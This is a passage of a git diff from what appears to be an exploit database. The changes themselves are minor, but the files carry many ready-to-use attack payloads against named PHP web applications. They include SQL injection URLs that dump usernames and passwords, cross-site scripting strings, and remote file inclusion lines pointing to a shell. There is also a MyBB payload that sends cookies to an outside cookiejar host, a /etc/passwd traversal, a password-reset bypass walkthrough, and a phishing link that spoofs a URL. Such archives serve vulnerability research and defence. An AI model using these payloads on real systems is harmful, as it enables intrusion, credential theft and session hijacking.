Versions prior to Opera 9.60 are vulnerable. -http://BBB...BBB:password@example.com \ No newline at end of file +http://BBB...BBB:password@example.com \ No newline at end of file diff --git a/platforms/php/webapps/32468.txt b/platforms/php/webapps/32468.txt index 80e4f8a27..16de55740 100755 --- a/platforms/php/webapps/32468.txt +++ b/platforms/php/webapps/32468.txt @@ -10,4 +10,4 @@ http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_ http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]= http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]= http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]= -http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]= \ No newline at end of file +http://www.example.com/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]= \ No newline at end of file diff --git a/platforms/php/webapps/32474.txt b/platforms/php/webapps/32474.txt index a71a617d8..49056ee58 100755 --- a/platforms/php/webapps/32474.txt +++ b/platforms/php/webapps/32474.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow EEB-CMS 0.95 is affected; other versions may be vulnerable as well. -http://www.example.com/index.php?content="><script>alert("test")</script> \ No newline at end of file +http://www.example.com/index.php?content="><script>alert("test")</script> \ No newline at end of file diff --git a/platforms/php/webapps/32486.txt b/platforms/php/webapps/32486.txt index 8dc60dde2..5cf53ad8d 100755 --- a/platforms/php/webapps/32486.txt +++ b/platforms/php/webapps/32486.txt @@ -4,4 +4,4 @@ Webscene eCommerce is prone to an SQL-injection vulnerability because it fails t A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/productlist.php?categoryid=20&level=-4 union select concat(loginid,0x2f,password) from adminuser-- \ No newline at end of file +http://www.example.com/productlist.php?categoryid=20&level=-4 union select concat(loginid,0x2f,password) from adminuser-- \ No newline at end of file diff --git a/platforms/php/webapps/32488.txt b/platforms/php/webapps/32488.txt index 8b97e7ddd..25f32212c 100755 --- a/platforms/php/webapps/32488.txt +++ b/platforms/php/webapps/32488.txt @@ -8,4 +8,4 @@ Using the session-fixation issue, the attacker can hijack the session and gain u Elxis CMS 2006.1 is vulnerable; other versions may also be affected. -http://www.server/?PHPSESSID=[session_fixation] \ No newline at end of file +http://www.site.com/?PHPSESSID=[session_fixation] \ No newline at end of file diff --git a/platforms/php/webapps/32490.txt b/platforms/php/webapps/32490.txt index d1df0b0d5..573ec58be 100755 --- a/platforms/php/webapps/32490.txt +++ b/platforms/php/webapps/32490.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access SweetCMS 1.5.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?page=3+AND+1=2+UNION+SELECT+0,concat(email,0x3a,password),2,3,4,5+from+users+limit+1,1-- \ No newline at end of file +http://www.example.com/index.php?page=3+AND+1=2+UNION+SELECT+0,concat(email,0x3a,password),2,3,4,5+from+users+limit+1,1-- \ No newline at end of file diff --git a/platforms/php/webapps/32492.txt b/platforms/php/webapps/32492.txt index 19934d940..aed1b0508 100755 --- a/platforms/php/webapps/32492.txt +++ b/platforms/php/webapps/32492.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Habari 0.5.1 is affected; other versions may be vulnerable as well. -http://www.example.com/user/login/?habari_username=>"><script>alert("XSS Vuln")</script> \ No newline at end of file +http://www.example.com/user/login/?habari_username=>"><script>alert("XSS Vuln")</script> \ No newline at end of file diff --git a/platforms/php/webapps/32494.txt b/platforms/php/webapps/32494.txt index c1ac00486..4322ac55d 100755 --- a/platforms/php/webapps/32494.txt +++ b/platforms/php/webapps/32494.txt @@ -4,4 +4,4 @@ FlashChat is prone to a security-bypass vulnerability. An attacker can leverage this vulnerability to bypass certain security restrictions and gain unauthorized administrative access to the affected application. -sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id= \ No newline at end of file +sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id= \ No newline at end of file diff --git a/platforms/php/webapps/32496.txt b/platforms/php/webapps/32496.txt index f3ef0aba2..0e6d05845 100755 --- a/platforms/php/webapps/32496.txt +++ b/platforms/php/webapps/32496.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Jetbox CMS 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/path/admin/cms/nav.php?task=editrecord&nav_id=[INJECTION POINT] \ No newline at end of file +http://www.example.com/path/admin/cms/nav.php?task=editrecord&nav_id=[INJECTION POINT] \ No newline at end of file diff --git a/platforms/php/webapps/32497.txt b/platforms/php/webapps/32497.txt index f38eb017e..5d36a743a 100755 --- a/platforms/php/webapps/32497.txt +++ b/platforms/php/webapps/32497.txt @@ -4,4 +4,4 @@ Sarkilar module for PHP-Nuke is prone to an SQL-injection vulnerability because Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules.php?name=Sarkilar&op=showcontent&id=-1+union+select+null,null,pwd,email,user_uid,null,null,null,null+from+hebuname_authors-- \ No newline at end of file +http://www.example.com/modules.php?name=Sarkilar&op=showcontent&id=-1+union+select+null,null,pwd,email,user_uid,null,null,null,null+from+hebuname_authors-- \ No newline at end of file diff --git a/platforms/php/webapps/32499.txt b/platforms/php/webapps/32499.txt index fd304f608..ed3926bd6 100755 --- a/platforms/php/webapps/32499.txt +++ b/platforms/php/webapps/32499.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc phPhotoGallery 0.92 is affected; other versions may also be vulnerable. -Username : ' or 1=1/*Password : ' or 1=1/* \ No newline at end of file +Username : ' or 1=1/*Password : ' or 1=1/* \ No newline at end of file diff --git a/platforms/php/webapps/3250.txt b/platforms/php/webapps/3250.txt index 86c5f3c8f..0f43b63d9 100755 --- a/platforms/php/webapps/3250.txt +++ b/platforms/php/webapps/3250.txt @@ -6,7 +6,7 @@ risk : high remote file include : -/includes/includes.php?site_path=http://server/shell.txt?%00 +/includes/includes.php?site_path=http://site.com/shell.txt?%00 diff --git a/platforms/php/webapps/3251.txt b/platforms/php/webapps/3251.txt index b193872c0..34cdb1be2 100755 --- a/platforms/php/webapps/3251.txt +++ b/platforms/php/webapps/3251.txt @@ -5,7 +5,7 @@ Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>> index.php:- if (!$slots) {include($rootpath . 'html/serveroffline.php');exit;} ******************************************************************************** -ExPlOiT:-http://www.server/PaTh/index.php?rootpath=[Shell] +ExPlOiT:-http://www.Site.com/PaTh/index.php?rootpath=[Shell] ******************************************************************************** # milw0rm.com [2007-02-02] diff --git a/platforms/php/webapps/3252.txt b/platforms/php/webapps/3252.txt index 1edc9f73b..1d03a5b3a 100755 --- a/platforms/php/webapps/3252.txt +++ b/platforms/php/webapps/3252.txt @@ -26,7 +26,7 @@ Target URL - - http://www.sitehere.com/pathtoeqdkp/admin/backup From the Control menu goto "Backup MySQL data" and select the appropraite Database*. Download eqdkp_users.sql from there and MD5 Hashes and usernames/emails will be present. E.g. -VALUES ('1', 'admin', 'ec67739608318602f2dd6bcb141b56bc', 'admin@guildswebserver', ...... +VALUES ('1', 'admin', 'ec67739608318602f2dd6bcb141b56bc', 'admin@guildswebsite.com', ...... --------------------------------------------------------------------------------------------------------- Alternative type attack**: One downloads the EQDKP_users.sql and modifies the administration hash in there to be diff --git a/platforms/php/webapps/32521.txt b/platforms/php/webapps/32521.txt index a4f13242e..f3681451a 100755 --- a/platforms/php/webapps/32521.txt +++ b/platforms/php/webapps/32521.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application an Osprey 1.0a4.1 is vulnerable; other versions may also be affected. http://www.example.com/[path]/web/lib/xml/oai/ListRecords.php?lib_dir=[shell] -http://www.example.com/[path]/web/lib/xml/oai/ListRecords.php?xml_dir=[shell] \ No newline at end of file +http://www.example.com/[path]/web/lib/xml/oai/ListRecords.php?xml_dir=[shell] \ No newline at end of file diff --git a/platforms/php/webapps/32523.txt b/platforms/php/webapps/32523.txt index 6f5b04fb5..bd2dc67f1 100755 --- a/platforms/php/webapps/32523.txt +++ b/platforms/php/webapps/32523.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing-style attacks. SiteEngine 5.0 is vulnerable; other versions may also be affected. -http://www.example.com/api.php?action=logout&forward=http://www.example2.com \ No newline at end of file +http://www.example.com/api.php?action=logout&forward=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/32524.txt b/platforms/php/webapps/32524.txt index 012c45c15..c4730e37c 100755 --- a/platforms/php/webapps/32524.txt +++ b/platforms/php/webapps/32524.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc SiteEngine 5.0 is vulnerable; other versions may also be affected. -http://www.example.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,11%20/* \ No newline at end of file +http://www.example.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,11%20/* \ No newline at end of file diff --git a/platforms/php/webapps/32525.txt b/platforms/php/webapps/32525.txt index 23dc34061..c8dfca3eb 100755 --- a/platforms/php/webapps/32525.txt +++ b/platforms/php/webapps/32525.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Jetbox CMS 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/admin/postlister/index.php?liste=default%22%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file +http://www.example.com/admin/postlister/index.php?liste=default%22%3E%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/32526.txt b/platforms/php/webapps/32526.txt index 9273f6f0c..4603fb5eb 100755 --- a/platforms/php/webapps/32526.txt +++ b/platforms/php/webapps/32526.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ClipShare Pro 4.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/[script_dir]/fullscreen.php?title=%3C/title%3E%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file +http://www.example.com/[script_dir]/fullscreen.php?title=%3C/title%3E%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/32527.txt b/platforms/php/webapps/32527.txt index b2304d874..aba4e9975 100755 --- a/platforms/php/webapps/32527.txt +++ b/platforms/php/webapps/32527.txt @@ -8,4 +8,4 @@ HTMLTidy 0.5 is vulnerable; other versions may also be affected. Products that i NOTE: This record was previously titled 'Kayako eSupport html-tidy-logic.php Cross Site Scripting Vulnerability'. It has been updated to properly describe the vulnerability as an HTMLTidy issue. -http://www.example.com/[script_dir]/includes/htmlArea/plugins/HtmlTidy/html-tidy-logic.php?jsMakeSrc=return%20ns;%20}%20alert(2008);%20function%20whynot(){%20alert(2); \ No newline at end of file +http://www.example.com/[script_dir]/includes/htmlArea/plugins/HtmlTidy/html-tidy-logic.php?jsMakeSrc=return%20ns;%20}%20alert(2008);%20function%20whynot(){%20alert(2); \ No newline at end of file diff --git a/platforms/php/webapps/32528.txt b/platforms/php/webapps/32528.txt index a3a1f13fd..29e483a8b 100755 --- a/platforms/php/webapps/32528.txt +++ b/platforms/php/webapps/32528.txt @@ -4,4 +4,4 @@ iPei Guestbook is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?pg=c0d3_xss \ No newline at end of file +http://www.example.com/index.php?pg=c0d3_xss \ No newline at end of file diff --git a/platforms/php/webapps/32532.txt b/platforms/php/webapps/32532.txt index 0aad3971a..cbf6db1e9 100755 --- a/platforms/php/webapps/32532.txt +++ b/platforms/php/webapps/32532.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin This issue affects 'bcoos' 1.0.13; other versions may also be affected. -http://www.example.com/include/common.php?XOOPS_ROOT_PATH=shell \ No newline at end of file +http://www.example.com/include/common.php?XOOPS_ROOT_PATH=shell \ No newline at end of file diff --git a/platforms/php/webapps/32533.txt b/platforms/php/webapps/32533.txt index f9bcd9385..205d6ab48 100755 --- a/platforms/php/webapps/32533.txt +++ b/platforms/php/webapps/32533.txt @@ -8,4 +8,4 @@ Tandis CMS 2.5.0 is vulnerable; other versions may also be affected. http://www.example.com/[path]/index.php?mod=2&nid=-268)%20UNION%20ALL%20SELECT%20version(),0,0,concat(username,0x3a,userpass),0,0,0,0,0,0,0,0,0%20FROM%20default_users -http://www.example.com/[path]/index.php?mod=0&cpage=-114) UNION ALL SELECT 0,0,0,0,0,version()-- \ No newline at end of file +http://www.example.com/[path]/index.php?mod=0&cpage=-114) UNION ALL SELECT 0,0,0,0,0,version()-- \ No newline at end of file diff --git a/platforms/php/webapps/32535.txt b/platforms/php/webapps/32535.txt index 6652f0975..88c6ad53a 100755 --- a/platforms/php/webapps/32535.txt +++ b/platforms/php/webapps/32535.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MyBB 1.4.2 is vulnerable; other versions may also be affected. -http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url='%2Balert('XSS!')// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.example2.com/cookiejar.php?c=%27%2Bdocument.cookie// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.fromCharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open(%27GET%27%2C%20%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3Dreg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%27%27) %2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3Dfoo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))// \ No newline at end of file +http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url='%2Balert('XSS!')// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.example2.com/cookiejar.php?c=%27%2Bdocument.cookie// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.fromCharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open(%27GET%27%2C%20%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3Dreg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%27%27) %2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3Dfoo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))// \ No newline at end of file diff --git a/platforms/php/webapps/32536.txt b/platforms/php/webapps/32536.txt index df8a9e496..db134b43a 100755 --- a/platforms/php/webapps/32536.txt +++ b/platforms/php/webapps/32536.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects bcoos 1.0.13; other versions may also be affected. -http://www.example.com/[p4th]/modules/banners/click.php?bid=-1' union+select+pass+from+bcoos_users+limit 1,0/* \ No newline at end of file +http://www.example.com/[p4th]/modules/banners/click.php?bid=-1' union+select+pass+from+bcoos_users+limit 1,0/* \ No newline at end of file diff --git a/platforms/php/webapps/32537.txt b/platforms/php/webapps/32537.txt index a7805b8fa..50cd97ff3 100755 --- a/platforms/php/webapps/32537.txt +++ b/platforms/php/webapps/32537.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc AIOCP 1.4 is vulnerable; other versions may also be affected. -http://www.example.com/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6-- \ No newline at end of file +http://www.example.com/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6-- \ No newline at end of file diff --git a/platforms/php/webapps/32538.txt b/platforms/php/webapps/32538.txt index 9df8349eb..1244f2a17 100755 --- a/platforms/php/webapps/32538.txt +++ b/platforms/php/webapps/32538.txt @@ -4,4 +4,4 @@ PHP-Nuke Nuke League module is prone to a cross-site scripting vulnerability bec An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/modules.php?name=League&file=index&op=team&tid=[XSS] \ No newline at end of file +http://www.example.com/modules.php?name=League&file=index&op=team&tid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32539.html b/platforms/php/webapps/32539.html index c3f927b02..e3d417908 100755 --- a/platforms/php/webapps/32539.html +++ b/platforms/php/webapps/32539.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to spoof the source URI of a site presented Internet Explorer 6 is affected by this issue. -<a href="http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n <http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n/> bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n bsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;.phish.site/">Example</a> (In words, this is <a href="http://www.example.com <http://www.example.com/> followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13 ampersand-NBSP-semicolon followed by a dot followed by phish.site/">Example</a>) This causes a link whose URL appears, IN THE ADDRESS BAR, as (may wrap around): http://www.example.com . . .phish.site/ (In words, this appears like "http://www.example.com" <http://www.example.com%22/> ; followed by 30 spaces, a dot, 31 spaces, a dot, 13 spaces, a dot and finally "phish.site/") \ No newline at end of file +<a href="http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n <http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n/> bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n bsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;.phish.site/">Example</a> (In words, this is <a href="http://www.example.com <http://www.example.com/> followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13 ampersand-NBSP-semicolon followed by a dot followed by phish.site/">Example</a>) This causes a link whose URL appears, IN THE ADDRESS BAR, as (may wrap around): http://www.example.com . . .phish.site/ (In words, this appears like "http://www.example.com" <http://www.example.com%22/> ; followed by 30 spaces, a dot, 31 spaces, a dot, 13 spaces, a dot and finally "phish.site/") \ No newline at end of file diff --git a/platforms/php/webapps/32541.txt b/platforms/php/webapps/32541.txt index 987b398e2..c364a3804 100755 --- a/platforms/php/webapps/32541.txt +++ b/platforms/php/webapps/32541.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc H&H Solutions WebSoccer 2.80 is vulnerable; other versions may also be affected. -http://www.example.com/liga.php?id=1'UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5/* \ No newline at end of file +http://www.example.com/liga.php?id=1'UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5/* \ No newline at end of file diff --git a/platforms/php/webapps/32542.txt b/platforms/php/webapps/32542.txt index b2622edc7..6aace43bf 100755 --- a/platforms/php/webapps/32542.txt +++ b/platforms/php/webapps/32542.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue affects Elkagroup 1.0; other versions may also be affected. -http://www.example.com/view.php?cid=-33%20UNION%20ALL%20SELECT%200,user(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--&uid=0&new=0 \ No newline at end of file +http://www.example.com/view.php?cid=-33%20UNION%20ALL%20SELECT%200,user(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--&uid=0&new=0 \ No newline at end of file diff --git a/platforms/php/webapps/32543.txt b/platforms/php/webapps/32543.txt index 60c53573c..7184e2886 100755 --- a/platforms/php/webapps/32543.txt +++ b/platforms/php/webapps/32543.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Kmita Catalogue V2 is vulnerable; other versions may also be affected. -http://www.example.com/search.php?q=<script>alert(document.cookie);</script>&Search=Search \ No newline at end of file +http://www.example.com/search.php?q=<script>alert(document.cookie);</script>&Search=Search \ No newline at end of file diff --git a/platforms/php/webapps/32544.txt b/platforms/php/webapps/32544.txt index 0ebf80f5d..9e8a643d0 100755 --- a/platforms/php/webapps/32544.txt +++ b/platforms/php/webapps/32544.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/kmitag/index.php?begin=10<script>alert(document.cookie);</script>&catid=3 -http://www.example.com/kmitag/search.php?searchtext=<script>alert(document.cookie);</script>&Search=Search \ No newline at end of file +http://www.example.com/kmitag/search.php?searchtext=<script>alert(document.cookie);</script>&Search=Search \ No newline at end of file diff --git a/platforms/php/webapps/32547.txt b/platforms/php/webapps/32547.txt index 86684d878..7771cc296 100755 --- a/platforms/php/webapps/32547.txt +++ b/platforms/php/webapps/32547.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Extrakt Framework 0.7 is vulnerable; other versions may also be affected. -http://www.example.com/[SCRIPT_DIR]/index.php?plugins[file][id]=<script>alert(2008);</script> \ No newline at end of file +http://www.example.com/[SCRIPT_DIR]/index.php?plugins[file][id]=<script>alert(2008);</script> \ No newline at end of file diff --git a/platforms/php/webapps/32553.txt b/platforms/php/webapps/32553.txt index 59454b1bf..a063c4bd8 100755 --- a/platforms/php/webapps/32553.txt +++ b/platforms/php/webapps/32553.txt @@ -8,4 +8,4 @@ We don't know which versions of phpWebSite are affected. We will update this BID NOTE: The vendor refutes this issue, stating that the vulnerable script has not been present in the application since either the 0.8.x or 0.9.x releases. -http://www.example.com/links.php?op=viewlink&cid=5+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user())-- \ No newline at end of file +http://www.example.com/links.php?op=viewlink&cid=5+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32554.txt b/platforms/php/webapps/32554.txt index 569f18f9c..24f96ac2e 100755 --- a/platforms/php/webapps/32554.txt +++ b/platforms/php/webapps/32554.txt @@ -4,4 +4,4 @@ SpitFire Photo Pro is prone to an SQL-injection vulnerability because it fails t Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/sapientphoto/pages.php?pageId=6634+and+1=2+union+select+1,2,3,4,5,6,concat(version(),0x3a,database(),0x3a,user())-- \ No newline at end of file +http://www.example.com/sapientphoto/pages.php?pageId=6634+and+1=2+union+select+1,2,3,4,5,6,concat(version(),0x3a,database(),0x3a,user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32561.txt b/platforms/php/webapps/32561.txt index fc75dbc8d..7b7c82b22 100755 --- a/platforms/php/webapps/32561.txt +++ b/platforms/php/webapps/32561.txt @@ -10,12 +10,12 @@ LinkEx Is A Open Source Web Application For Exchanging link , Which Most Of The Porn Sites Uses it , -1) First GO Here http://server/linkex/?page=admin +1) First GO Here http://site.com/linkex/?page=admin 2) Click On Forgot password and enter the captcha -3) Go Here >> server/linkex/data/config/config +3) Go Here >> site.com/linkex/data/config/config Note down the " key " parameter ie :- "key";s:32:"36d1dd98c84e643236216449e96bed0d" -4) Now Use the Key Here >> server/linkex/?page=resetpassword&key=[key] +4) Now Use the Key Here >> site.com/linkex/?page=resetpassword&key=[key] 5) Thats It U Will Asked For New Username And Password diff --git a/platforms/php/webapps/32563.txt b/platforms/php/webapps/32563.txt index b285619e3..27b577292 100755 --- a/platforms/php/webapps/32563.txt +++ b/platforms/php/webapps/32563.txt @@ -4,4 +4,4 @@ Downline Builder Pro is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13-- \ No newline at end of file +http://www.example.com/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13-- \ No newline at end of file diff --git a/platforms/php/webapps/32566.txt b/platforms/php/webapps/32566.txt index edd090f3a..cd96c1d96 100755 --- a/platforms/php/webapps/32566.txt +++ b/platforms/php/webapps/32566.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow firmCHANNEL Indoor & Outdoor Digital SIGNAGE 3.24 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?module=account&action=login%3Cscript%3Ealert(%27xss%27);%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?module=account&action=login%3Cscript%3Ealert(%27xss%27);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/32570.txt b/platforms/php/webapps/32570.txt index c8a3daea9..2d12a8567 100755 --- a/platforms/php/webapps/32570.txt +++ b/platforms/php/webapps/32570.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin CuteNews aj-fork 167 final is vulnerable; other versions may also be affected. -http://www.example.com/register.php?config_skin=../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/register.php?config_skin=../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/32571.txt 